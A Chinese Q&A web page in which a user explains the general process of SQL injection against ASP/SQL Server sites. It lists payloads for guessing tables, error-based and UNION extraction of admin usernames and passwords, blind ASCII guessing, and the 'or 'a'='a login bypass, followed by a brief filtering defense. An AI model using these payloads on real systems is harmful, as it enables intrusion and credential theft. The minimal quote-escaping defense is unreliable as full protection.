问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

SQL注入的一般过程如何?

发布网友 发布时间:2022-04-25 11:17

我来回答

1个回答

热心网友 时间:2022-04-08 10:51

方法1  先猜表名   And (Select count(*) from 表名)<>0   猜列名   And (Select count(列名) from 表名)<>0   或者也可以这样   and exists (select * from 表名)   and exists (select 列名 from 表名)   返回正确的,那么写的表名或列名就是正确   这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select len(user) from admin)>3 这样是不行的   现在很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容   获得数据库连接用户名:;and user>0   这个是小竹提出来的,我这里引用《SQL注入天书》里面的一段话来讲解:   ---------------------------------------------  "重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarch"   ---------------------------------------------  看到这里大家明白了吧,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and 1=(selet top 1 user from admin),这种语句也是可以爆出来的。;and db_name()>0 则是暴数据库名。   一旦关闭了IIS报错,那么还可以用union(联合查询)来查内容,主要语句就是   Order by 10   And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin   And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin   上面的order by 10主要就是查字段数目,admin就是表名,可以自己猜,user,passwd是列名   反正就是返回正确即对,返回异常即错   另外还有十分常用的ascll码拆半法   先要知道指定列名,例如user里的内容的长度   and (select len(user) from admin)=2 就是查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃了,猜也多余   后面的逻辑符号可以根据不同要求更改的,   >大于 <小于 =就是等于咯,更新语句的话,=也可以表示传递符号 <>就是不等   知道了长度后就可以开始猜解了   And (Select top 1 asc(mid(user,n,1)) from admin)>100   n就是猜解的表名的第几位,最后的长度数字就是刚才猜解出来的列名长度了,And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里内容的第一位的ASCLL字符是不是大于100   正确的话,那么表示USER第一个字符的ASCLL码大于100,那么就猜>120,返回错误就是介于100-120之间,然后再一步一步的缩少,最终得到正确字符XXX,然后用ASCLL转换器吧这个转换成普通字符就可以了   然后就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去   加在url后面,列名表名还是先猜解,返回正确的代表帐号的ascll码大于100,那么就再向前猜,指导报错,把猜出来的ascll码拿去ascll转换器转换就可以了,中文是负数,加上asb取绝对值   And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320   得到之后就记得在数字前加-号,不然ASCLL转换器转换不来的,中文在ASCLL码里是-23423这样的,所以猜起来挺麻烦   这个猜解速度比较慢,但是效果最好,最具有广泛性 方法2  后台身份验证绕过漏洞   验证绕过漏洞就是'or'='or'后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误   例如管理员的账号密码都是admin,那么再比如后台的数据库查询语句是   user=request("user")   passwd=request("passwd")   sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''   那么我使用'or 'a'='a来做用户名密码的话,那么查询就变成了   select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'   这样的话,根据运算规则,这里一共有4个查询语句,那么查询结果就是 假or真and假or真,先算and 再算or,最终结果为真,这样就可以进到后台了   这种漏洞存在必须要有2个条件,第一个:在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似   sql="select * from admin where username='"&username&'&"passwd='"&passwd&'   如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法了。   第二就是要看密码加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏了 方法3  防御方法   对于怎么防御SQL注入呢,这个网上很多,我这里讲几个   如果自己编写防注代码,一般是先定义一个函数,再在里面写入要过滤的关键词,如select ; “”;form;等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与数据库的操作。   当然如果你的网站提交的数据全部都是数字的,可以使用小竹提供的方法   Function SafeRequest(ParaName,ParaType)   '--- 传入参数 ---   'ParaName:参数名称-字符型   'ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字符)   Dim ParaValue   ParaValue=Request(ParaName)   If ParaType=1 then   If not isNumeric(ParaValue) then   Response.write "参数" & ParaName & "必须为数字型!"   Response.end   End if   Else   ParaValue=replace(ParaValue,"'","''")   End if   SafeRequest=ParaValue   End function   然后就用SafeRequest()来过滤参数,检查参数是否为数字,不是数字的就不能通过。
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
江西蓝天学院和赣江职业技术学院哪个好? 江西有什么好的中专学校 什么是单点登录(SSO),以及单点登录的实现流程 前端实现单点登录(SSO) 前端单点登录如何实现 面试官:来说说单点登录的三种实现方式 为什么很多人不买哈弗H9 座机如何开通国内长途 座机如何申请 辽宁省出租车手续怎么办? 写出SQL注入的方法和联合查询数据库所用到的SQL语句? 我这华为手机的安全和隐私是安全,隐私,分开的然后再隐私里也找不到隐私空间? excel时间转化为小时 在EXCEL电子表格中如何对小时进行计算? 如何在Excel中计算小时总数? EXCEL如何计算时间长度? excel中小时怎么换算成分钟? 如何在EXCEL中将分钟转换成小时? Excel 小时数 油画布如何制作? 用油画布画油画的步骤 油画布做背景墙怎么固定 在excel如何输入小时 大型油画布绷得松了有什么手段收紧布吗? 油画应该是如何装裱? 画油画前,油画布怎么裱平在木板上? 油画布是怎么包的? 油画板是什么样的? 是不是那种油画框? 油画框怎么用呢。 油画布的安装方法 新闻 工厂是如何绷画布的,为什么那么紧???急求!!! 什么是sql注入如何防止sql注入 什么是SQL注入攻击? 安全测试中sql的注入是什么意思 华为保密柜安全还是隐私空间安全,后台能查到吗? 江苏有哪些名胜古迹? 江苏有哪些风景名胜? 江苏分别有哪些著名的景点 江苏有什么景点啊? 江苏哪些风景比较著名? 江苏省有哪些名胜? BVⅤ电线是什么意思? Bvv什么意思 电缆bvv是什么意思 bv,bvv,bvvb,bvr电源线是什么意思 BVⅤ电线是什么意思 BV,BVV,BVVB电线的区别在那里?vv在电线术语是什么意思? 电绂BVV是什么意思 AVV和BVV电源线有什么不同? BV、BVV、BVVB电线的区别是什么? 电气图BV代表什么?